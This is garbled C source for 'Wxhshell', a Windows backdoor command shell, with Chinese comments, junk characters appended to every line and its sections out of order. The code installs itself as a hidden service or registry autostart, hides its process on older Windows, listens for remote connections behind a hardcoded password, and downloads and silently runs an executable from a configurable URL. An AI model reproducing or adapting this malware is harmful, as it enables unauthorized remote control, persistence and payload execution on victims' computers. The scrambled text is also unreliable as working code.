ULONG InheritedFromUniqueProcessId; 1!/cd;{B
} PROCESS_BASIC_INFORMATION; ;LELC5[*s
yHLclv
PROCNTQSIP NtQueryInformationProcess; >P/kb fPA
A0# K@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WM}:%T-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )zlksF
-iGt]mbJkP
HANDLE hProcess; M6vW}APH[n
PROCESS_BASIC_INFORMATION pbi; j )Zi4<./
g-U'{I5F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7Av/ZS
if(NULL == hInst ) return 0; d i`}Y&
=L{lt9qQz
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _SjS^z~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #dE#w#=r
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J\b,rOI f
\/$T 3f`x
if (!NtQueryInformationProcess) return 0; yc8FEn!)&
1 h|cr_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E)o/C(g
if(!hProcess) return 0; HuBG?4Qd
+ 1\1Z@\M
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4JKB6~Y
Vj_(55WQ
CloseHandle(hProcess); g3 6oEz~|
w~afQA>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k{Vc5F
if(hProcess==NULL) return 0; `0uKJFg
z{bMW^F
HMODULE hMod; H@bra~k-
char procName[255]; Bs =V-0
unsigned long cbNeeded; m=Y9s B
c!T^JZBb
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @=h%;"
- y{*U1[
CloseHandle(hProcess); >~_y\
9G` 2t~%
if(strstr(procName,"services")) return 1; // 以服务启动 h']RP
YN_#x
return 0; // 注册表启动 JQYIvo1,Q
} K~z*P0g*
kV!0cLH!hH
// 主模块 Nt,)5_K <
int StartWxhshell(LPSTR lpCmdLine) p/
pVMR
{ 5)'
_3r
SOCKET wsl; x=Qy{eIe
BOOL val=TRUE; \xkLI:*\
int port=0; V^QKn+/
struct sockaddr_in door; ( t#w@<
^+oi|y
if(wscfg.ws_autoins) Install(); oF,XSd
9"52b9U
port=atoi(lpCmdLine); LO[1xE9
eW"i'\`0
if(port<=0) port=wscfg.ws_port; {/uBZ(
W:O<9ZbQ_
WSADATA data; ~:b bV6YO
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DQP#h5O
Q IQB
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [6K2V:6:
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >/;\{IG
Wn
door.sin_family = AF_INET; \NhCu$'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); GK)3a 9;
door.sin_port = htons(port); lyI
rO"o
@^a6^*X>
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gn1`ZYg
closesocket(wsl); O_K@\<;~
return 1; il<D e]G
} \#1!qeF
Dx$74~2e
if(listen(wsl,2) == INVALID_SOCKET) { z}.!q{Q
closesocket(wsl); #pBAGm3
return 1; @g9j+DcU
} 2`+ ?s
Wxhshell(wsl); yY_G;Wk
WSACleanup(); %1gJOV
bW;0E%_
return 0; )&1yt4
x6%
leiED'
} >s1FTB-$W
&JAQ:([:
// 以NT服务方式启动 J_}&Btb)e
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xx[
LK
{ p|,K2^?Y
DWORD status = 0; auAST;"Z8
DWORD specificError = 0xfffffff; 0(|R NV_
F+*>q
serviceStatus.dwServiceType = SERVICE_WIN32; )wP0U{7?v
serviceStatus.dwCurrentState = SERVICE_START_PENDING; WLiY:X(+|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1,`-n5@J%n
serviceStatus.dwWin32ExitCode = 0; rtvuAFiH
serviceStatus.dwServiceSpecificExitCode = 0; - >n<9
serviceStatus.dwCheckPoint = 0; <Xm5re.
serviceStatus.dwWaitHint = 0; Oh6;o1UI
"8ILV`[
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B7nMyoj
if (hServiceStatusHandle==0) return; %2^C
5IW^^<kiu
status = GetLastError(); "M
v%M2'c
if (status!=NO_ERROR) _t6siB_u
{ THJ KuWy
serviceStatus.dwCurrentState = SERVICE_STOPPED; cx|[P6d
serviceStatus.dwCheckPoint = 0; j8zh^q
serviceStatus.dwWaitHint = 0; EhEn|%S
serviceStatus.dwWin32ExitCode = status; ABNsi$]r0
serviceStatus.dwServiceSpecificExitCode = specificError; '97)c7E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LnZ*,>1Z
return; /4#.qq0\{c
} F){f{-@)
M$FXDyr
serviceStatus.dwCurrentState = SERVICE_RUNNING; vxUJ4|Qz
serviceStatus.dwCheckPoint = 0; ?Ee?Ol?i2
serviceStatus.dwWaitHint = 0; _S8]W
!c
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Il2DZ5-
)
} -kES]P?2
idGkX
?
// 处理NT服务事件,比如:启动、停止 &_,^OE}K_:
VOID WINAPI NTServiceHandler(DWORD fdwControl) rr3NY$W
{ j_&/^-;e
switch(fdwControl) TcZ
Ci^1F
{ 1KruGq~
case SERVICE_CONTROL_STOP: ?XsL4HIx
serviceStatus.dwWin32ExitCode = 0; Z{chAg\
serviceStatus.dwCurrentState = SERVICE_STOPPED; L}nj#z4g
serviceStatus.dwCheckPoint = 0; <%J dQ82?
serviceStatus.dwWaitHint = 0; |?s%8c'w=
{ *{Wh-bc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Aaj+=]W
} KK(x)(
return; on*?O O'
case SERVICE_CONTROL_PAUSE: V?Lf&X?
serviceStatus.dwCurrentState = SERVICE_PAUSED; o80pmy7@
break; fL83:<RK
case SERVICE_CONTROL_CONTINUE: u~LisZ&tP
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4dMwJ"V
break; 3=t}py7M
case SERVICE_CONTROL_INTERROGATE: 8czo#&
break; o|]xj'
}; j2qDRI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9`dQ7z.8t
} =)Ew6}
W6
>gFF>L>
// 标准应用程序主函数 _ H$Cm
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q*DR~Ov
{ |1g2\5Re
g.DgJX&i
// 获取操作系统版本 Xe=@I*
OsIsNt=GetOsVer(); 7Yk6C5C
GetModuleFileName(NULL,ExeFile,MAX_PATH); UbC)XiO
85"DS-+e
// 从命令行安装 dAEz
hR[=
if(strpbrk(lpCmdLine,"iI")) Install();
TnM}|~V
+/\.%S/
// 下载执行文件 =!U{vT
if(wscfg.ws_downexe) { V QPq+78
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w#Nn(!VR
WinExec(wscfg.ws_filenam,SW_HIDE); ~Ufcy{x#
} &_" 3~:N8k
\5s!lv*&
if(!OsIsNt) { TQ=\l*R(A
// 如果时win9x,隐藏进程并且设置为注册表启动 lqX]'gu]\
HideProc(); Rr%]/%
StartWxhshell(lpCmdLine); :U?P~HI
} F`Q,pBl1p6
else b ";#qVv C
if(StartFromService()) 8C,?Ai<ro
// 以服务方式启动 "kP.Kx!
StartServiceCtrlDispatcher(DispatchTable); xd(AUl4qY
else k]R O=/ ?M
// 普通方式启动 L4Nk+R;
StartWxhshell(lpCmdLine); zG [-n.
'G-VhvMv
return 0; .vG6\U7
} BqR;d
l,6="5t
hH"3Y}U@
lG\lu'<C
=========================================== J4`08,
K/MIDH
nn#A-x}~;b
5U1@wfKE3>
bXJ,L$q
C!qW:H
" xBB:b\
WpTC,~-
#include <stdio.h> %*|XN*i XC
#include <string.h> yc%AkhX*
#include <windows.h> gP/]05$e
#include <winsock2.h> IFG`
#include <winsvc.h> *ZN"+wf\
#include <urlmon.h> E_
mgYW*5
CXUNdB
#pragma comment (lib, "Ws2_32.lib") *ArzXhs[
#pragma comment (lib, "urlmon.lib") jy&p_v1
+"'h?7'C
#define MAX_USER 100 // 最大客户端连接数 <LBMth
#define BUF_SOCK 200 // sock buffer !m_'<=)B4~
#define KEY_BUFF 255 // 输入 buffer zw5EaY
q#OLb"bTr
#define REBOOT 0 // 重启 "<!|am(
#define SHUTDOWN 1 // 关机 rB=1*.}FLc
W!IK>IW"
#define DEF_PORT 5000 // 监听端口 } k5pfz
ld9zOq
#define REG_LEN 16 // 注册表键长度 .YS[Md{
#define SVC_LEN 80 // NT服务名长度 Lg Bs<2
dR$P-V\y`%
// 从dll定义API o"[qPZd>
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r\Man'h$
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WqYl=%x"{V
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I9Z8]Q+2"
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \BJnJk!%
w'L;`k;Q
// wxhshell配置信息 &X|z(vSJ$
struct WSCFG { /8Vh G|Wb
int ws_port; // 监听端口 ^GRd;v=-@
char ws_passstr[REG_LEN]; // 口令 uX.Aq@j
int ws_autoins; // 安装标记, 1=yes 0=no {Ziq~{W_
char ws_regname[REG_LEN]; // 注册表键名 =FwFqjvl
char ws_svcname[REG_LEN]; // 服务名 .Ta$@sP h}
char ws_svcdisp[SVC_LEN]; // 服务显示名 zaoZCyJT%
char ws_svcdesc[SVC_LEN]; // 服务描述信息 [fO]oTh
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W>B:W 0A
int ws_downexe; // 下载执行标记, 1=yes 0=no =q6yb@
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |W#^L`!G
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {?5EOp~
(q
+Q.Q
}; Qz<v. _
oO= 6Kd+T
// default Wxhshell configuration WBC'~ h<@
struct WSCFG wscfg={DEF_PORT, (5Cm+Sy
"xuhuanlingzhe", r/{0YFa
1, t$Qav>D
"Wxhshell", i ;X'1TN(y
"Wxhshell", ,j5fzA
"WxhShell Service", "h:xdaIE/p
"Wrsky Windows CmdShell Service", Nb B`6@r
"Please Input Your Password: ", Kx<